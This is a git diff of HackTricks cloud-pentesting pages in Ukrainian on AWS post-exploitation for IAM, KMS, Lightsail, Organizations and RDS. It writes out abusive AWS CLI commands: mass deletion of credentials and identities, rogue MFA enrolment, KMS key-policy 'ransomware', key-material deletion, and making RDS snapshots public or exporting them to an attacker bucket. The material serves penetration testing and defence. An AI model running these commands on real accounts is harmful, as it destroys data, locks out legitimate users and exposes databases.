+ +However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. + +Приклад: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Щоб зловмисник міг експлуатувати confused deputy, йому потрібно якось з'ясувати, чи можуть principals поточного account impersonate roles в інших accounts. + +### Неочікувані довірчі відносини + +#### Wildcard як principal +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Ця політика **дозволяє всім AWS** брати на себе роль. + +#### Сервіс як принципал +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway, щоб викликати цю Lambda. + +#### S3 як principal +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +Якщо як principal вказано S3 bucket (оскільки S3 buckets не мають Account ID), і ви **видалили ваш bucket і attacker створив** його в своєму account, attacker міг би скористатися цим. + +#### Не підтримується +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). + +### Видалення облікових даних +Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — особа може видалити ключі доступу, профілі входу, SSH-ключі, облікові дані, специфічні для сервісу, профілі екземплярів, сертифікати або публічні ключі CloudFront, або відімкнути ролі від профілів екземплярів. Такі дії можуть негайно заблокувати легітимних користувачів і додатки та спричинити denial-of-service або втрату доступу для систем, що залежать від цих облікових даних, тому ці дозволи IAM мають бути суворо обмежені та під моніторингом. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Видалення ідентичностей +З дозволами, такими як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, зловмисник може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM мають бути строго обмежені й контролюватися. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Маючи будь-яке з наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або від’єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів, а також відв’язувати політики від користувачів, груп або ролей. Це руйнує авторизації й може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб’єктів, які покладалися на ці політики, тому ці IAM-дії мають бути суворо обмежені та відстежувані. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Видалення федеративних провайдерів ідентичності +За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` особа може видалити OIDC/SAML identity providers або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи token validation і негайно позбавляє доступу користувачів та сервісів, що покладаються на SSO, доки IdP або конфігурації не будуть відновлені. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Неправомірна активація MFA +За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій для облікового запису користувача, перешкоджаючи законному користувачу увійти. Після активації неавторизованого MFA користувач може бути заблокований допоки пристрій не буде видалено або скинуто (примітка: якщо зареєстровано декілька MFA-пристроїв, для входу вимагається лише один, тому ця атака не матиме ефекту відмови в доступі). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Маніпуляція метаданими сертифікатів/ключів +За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання, вони можуть порушити SSH-аутентифікацію, анулювати перевірки X.509/TLS та негайно порушити роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Посилання + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index 0fedb3f26..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -For more information check: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Encrypt/Decrypt information - -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - -- `fileb://:` Читає файл у бінарному режимі, зазвичай використовується для non-text файлів. -- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, які не мають спеціальних вимог до кодування. - -> [!TIP] -> Зверніть увагу, що якщо ви хочете розшифрувати деякі дані всередині файлу, файл має містити бінарні дані, а не base64-кодовані дані. (fileb://) - -- Using a **symmetric** key -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Використання **асиметричного** ключа: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -Атакуючий із привілейованим доступом до KMS може змінити політику KMS для ключів і **надати своєму обліковому запису доступ до них**, одночасно видаливши доступ, наданий легітимному обліковому запису. - -Тоді користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створюючи простий, але ефективний ransomware проти облікового запису. - -> [!WARNING] -> Зауважте, що **AWS managed keys не зачеплені** цим нападом, лише **Customer managed keys**. -> -> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції у веб-консолі робить цю атаку можливою лише з CLI). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Зверніть увагу, що якщо ви зміните цю політику й надасте доступ лише зовнішньому акаунту, а потім з цього зовнішнього акаунту спробуєте встановити нову політику, щоб **повернути доступ до оригінального акаунту, у вас не вийде, бо дія Put Polocy не може бути виконана з крос-акаунту**. - -
- -### Generic KMS Ransomware - -Існує ще один спосіб виконати глобальний KMS Ransomware, який передбачає такі кроки: - -- Створити новий **ключ із матеріалом ключа**, імпортованим зловмисником -- **Пере-шифрувати старі дані** жертви, зашифровані попередньою версією, новим ключем -- **Видалити KMS key** -- Тепер тільки зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані - -### Delete Keys via kms:DeleteImportedKeyMaterial - -З дозволом `kms:DeleteImportedKeyMaterial` актор може видаляти імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною й незворотною, якщо не буде повторно імпортовано сумісний матеріал, що дозволяє зловмиснику фактично спричинити ransomware-подібну втрату даних, зробивши зашифровану інформацію постійно недоступною. -```bash -aws kms delete-imported-key-material --key-id -``` -### Знищення ключів - -Знищення ключів може призвести до DoS. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Зверніть увагу, що AWS тепер **не дозволяє виконувати попередні дії з cross-account:** - -### Зміна або видалення Alias -Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключів та спричиняючи негайні збої в будь-яких сервісах, що покладаються на ці aliases, внаслідок чого виникає відмова в обслуговуванні. Маючи дозволи на кшталт `kms:DeleteAlias` або `kms:UpdateAlias`, атакувальник може видалити або перенаправити aliases і порушити криптографічні операції (e.g., encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може не працювати, поки alias не буде відновлено або правильно перенаправлено. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Cancel Key Deletion -Маючи дозволи, наприклад `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і пізніше знову його увімкнути. Це відновлює ключ (спочатку в Disabled state) і відновлює його здатність дешифрувати раніше захищені дані, що дозволяє exfiltration. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Вимкнення ключа -Маючи дозвіл `kms:DisableKey`, актор може вимкнути AWS KMS customer master key, унеможлививши його використання для шифрування або розшифрування. Це призведе до втрати доступу для будь-яких сервісів, які залежать від цього CMK, і може спричинити негайні збої або denial-of-service до тих пір, поки ключ не буде знову увімкнено. -```bash -aws kms disable-key \ ---key-id -``` -### Виведення спільного секрету -За наявності дозволу `kms:DeriveSharedSecret` актор може використати приватний ключ, що зберігається в KMS, разом із публічним ключем, наданим користувачем, щоб обчислити ECDH-спільний секрет. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -З дозволом `kms:Sign` актор може використовувати KMS-stored CMK для криптографічного підписування даних без розкриття private key, створюючи дійсні підписи, які можуть дозволити impersonation або авторизувати шкідливі дії. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS with Custom Key Stores -З правами, такими як `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), через що його головні ключі стануть непрацюючими. Це порушує операції шифрування, розшифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Тому критично важливо обмежувати та моніторити ці дозволи. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..7f3534dc9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Для додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Encrypt/Decrypt information + +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: + +- `fileb://:` Читає файл у двійковому режимі, зазвичай використовується для нетекстових файлів. +- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, що не має спеціальних вимог кодування. + +> [!TIP] +> Зверніть увагу, якщо ви хочете розшифрувати дані у файлі, файл має містити двійкові дані, а не base64-кодовані дані. (fileb://) + +- Using a **symmetric** key +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Використання **асиметричного** ключа: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +Зловмисник із привілеями в KMS може змінити KMS policy ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису. + +Внаслідок цього користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створивши простий, але ефективний ransomware проти облікового запису. + +> [!WARNING] +> Зверніть увагу, що **AWS managed keys aren't affected** цією атакою — уражаються лише **Customer managed keys**. + +> Також зауважте, що потрібно використовувати параметр **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в web console робить цю атаку можливою лише через CLI). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Зверніть увагу, що якщо ви зміните цю політику й дасте доступ лише зовнішньому акаунту, а потім із цього зовнішнього акаунта спробуєте встановити нову політику, щоб **повернути доступ до початкового акаунту, ви не зможете, оскільки дію Put Polocy неможливо виконати з cross account**. + +
+ +### Generic KMS Ransomware + +Існує інший спосіб реалізації глобального KMS Ransomware, який включає такі кроки: + +- Створити новий **ключ із матеріалом ключа**, імпортованим атакуючим +- **Перешифрувати старі дані** жертви, зашифровані попередньою версією, новою +- **Видалити KMS key** +- Тепер лише атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані + +### Видалення ключів через kms:DeleteImportedKeyMaterial + +Маючи дозвіл `kms:DeleteImportedKeyMaterial`, діяч може видалити імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною та незворотною, якщо сумісний матеріал не буде повторно імпортовано, дозволяючи атакуючому фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію постійно недоступною. +```bash +aws kms delete-imported-key-material --key-id +``` +### Знищення ключів + +Знищення ключів може спричинити DoS. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> Зауважте, що AWS тепер **запобігає виконанню попередніх дій з іншого акаунту:** + +### Змінити або видалити Alias +Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключа і спричиняючи негайні збої в сервісах, які покладаються на ці aliases, що призводить до відмови в обслуговуванні. Маючи дозволи на зразок `kms:DeleteAlias` або `kms:UpdateAlias`, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може перестати працювати, поки alias не буде відновлено або правильно повторно зіставлено. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +Маючи дозволи на кшталт `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і згодом знову його увімкнути. Це відновлює ключ (спочатку у Disabled стані) та повертає можливість розшифровувати раніше захищені дані, що дозволяє exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Вимкнення ключа +Маючи дозвіл `kms:DisableKey`, зловмисник може вимкнути AWS KMS customer master key, перешкоджаючи його використанню для encryption або decryption. Це порушує доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні перебої або denial-of-service, доки ключ не буде знову увімкнено. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +Маючи дозвіл `kms:DeriveSharedSecret`, актор може використати приватний ключ, що зберігається в KMS, разом із наданим користувачем публічним ключем для обчислення спільної таємниці ECDH. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Імперсонація через `kms:Sign` +Маючи дозвіл `kms:Sign`, зловмисник може використати збережений у KMS CMK для криптографічного підпису даних без розкриття приватного ключа, створюючи дійсні підписи, що можуть дозволити імперсонацію або авторизувати шкідливі дії. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +Маючи дозволи на кшталт `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його основні ключі непрацездатними. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Отже, критично важливо обмежувати та моніторити ці дозволи. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 6e8432fbc..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Для отримання додаткової інформації, перегляньте: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Відновлення старих знімків бази даних - -Якщо у бази даних є знімки, ви можете **знайти чутливу інформацію, яка наразі видалена в старих знімках**. **Відновіть** знімок у **новій базі даних** та перевірте його. - -### Відновлення знімків екземплярів - -Знімки екземплярів можуть містити **чутливу інформацію** вже видалених екземплярів або чутливу інформацію, яка видалена в поточному екземплярі. **Створіть нові екземпляри з знімків** та перевірте їх.\ -Або **експортуйте знімок в AMI в EC2** та дотримуйтесь кроків типового екземпляра EC2. - -### Доступ до чутливої інформації - -Перегляньте варіанти privesc Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації: - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..dfe330458 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Для отримання додаткової інформації перевірте: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Restore old DB snapshots + +Якщо у DB є snapshots, ви можете **знайти чутливу інформацію, яка наразі була видалена в старих snapshots**. **Відновіть** snapshot у **новій базі даних** і перевірте його. + +### Restore Instance Snapshots + +Instance snapshots можуть містити **чутливу інформацію** вже видалених instances або чутливі дані, які видалені в поточному instance. **Створіть нові instances з snapshots** і перевірте їх.\ +Або **export the snapshot to an AMI in EC2** і слідуйте крокам для типового EC2 instance. + +### Access Sensitive Information + +Перегляньте опції Lightsail privesc, щоб дізнатися різні способи доступу до потенційно чутливої інформації: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index d311e9723..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Організації Після Експлуатації - -{{#include ../../../banners/hacktricks-training.md}} - -## Організації - -Для отримання додаткової інформації про AWS Organizations перегляньте: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Вийти з організації -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..180692961 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Детальніше про AWS Organizations дивіться: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Вийти з Org +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 64% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 6171440bd..88e8704d5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - RDS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS -Для додаткової інформації дивись: +Для отримання додаткової інформації див.: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Якщо в нападника є достатні права, він може зробити **DB публічно доступною**, створивши знімок (snapshot) DB, а потім відновивши з цього знімка публічно доступну DB. +Якщо в атакуючого є достатні дозволи, він може зробити **DB публічно доступною**, створивши знімок (snapshot) бази даних, а потім відновивши з нього публічно доступну DB. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Зловмисник з цими дозволами може **створити snapshot DB** і зробити його **публічно доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot. +Атакуючий із такими дозволами може **створити сніпшот DB** і зробити його **публічно** **доступним**. Потім він може просто створити у власному акаунті DB з цього сніпшоту. -Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**. +Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені сніпшоти **публічними**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Зловмисник з дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до логів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. +Зловмисник із дозволом `rds:DownloadDBLogFilePortion` може **download portions of an RDS instance's log files**. Якщо чутливі дані або облікові дані доступу випадково заносяться до журналів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії, використовуючи leaked credentials. +**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials. ### `rds:DeleteDBInstance` -Зловмисник з такими дозволами може **DoS існуючих RDS інстансів**. +Зловмисник з цими дозволами може **DoS існуючі RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Потенційний вплив**: Видалення існуючих RDS інстансів і потенційна втрата даних. +**Можливі наслідки**: Видалення існуючих RDS instances та можливі втрати даних. ### `rds:StartExportTask` > [!NOTE] > TODO: Перевірити -Зловмисник з цим дозволом може **експортувати знімок інстансу RDS до S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до чутливих даних у експортованому знімку. +Зловмисник з цим дозволом може **експортувати RDS instance snapshot до S3 bucket**. Якщо зловмисник має контроль над цільовим S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому snapshot. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Потенційний вплив**: Доступ до конфіденційних даних у експортованому снапшоті. +**Можливий вплив**: Доступ до чутливих даних у експортованому знімку. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Міжрегіональна реплікація автоматичних резервних копій для прихованого відновлення (`rds:StartDBInstanceAutomatedBackupsReplication`) -Зловживати реплікацією automated backups між регіонами, щоб непомітно дублювати автоматизовані резервні копії екземпляра RDS в інший AWS Region і відновити їх там. Зловмисник може потім зробити відновлену БД загальнодоступною та скинути master password, щоб отримати доступ до даних поза контролем у регіоні, який захисники можуть не моніторити. +Зловживати міжрегіональною реплікацією автоматичних резервних копій, щоб тихо дублювати автоматичні резервні копії інстансу RDS в інший AWS Region і відновлювати їх там. Атакувальник може потім зробити відновлену БД 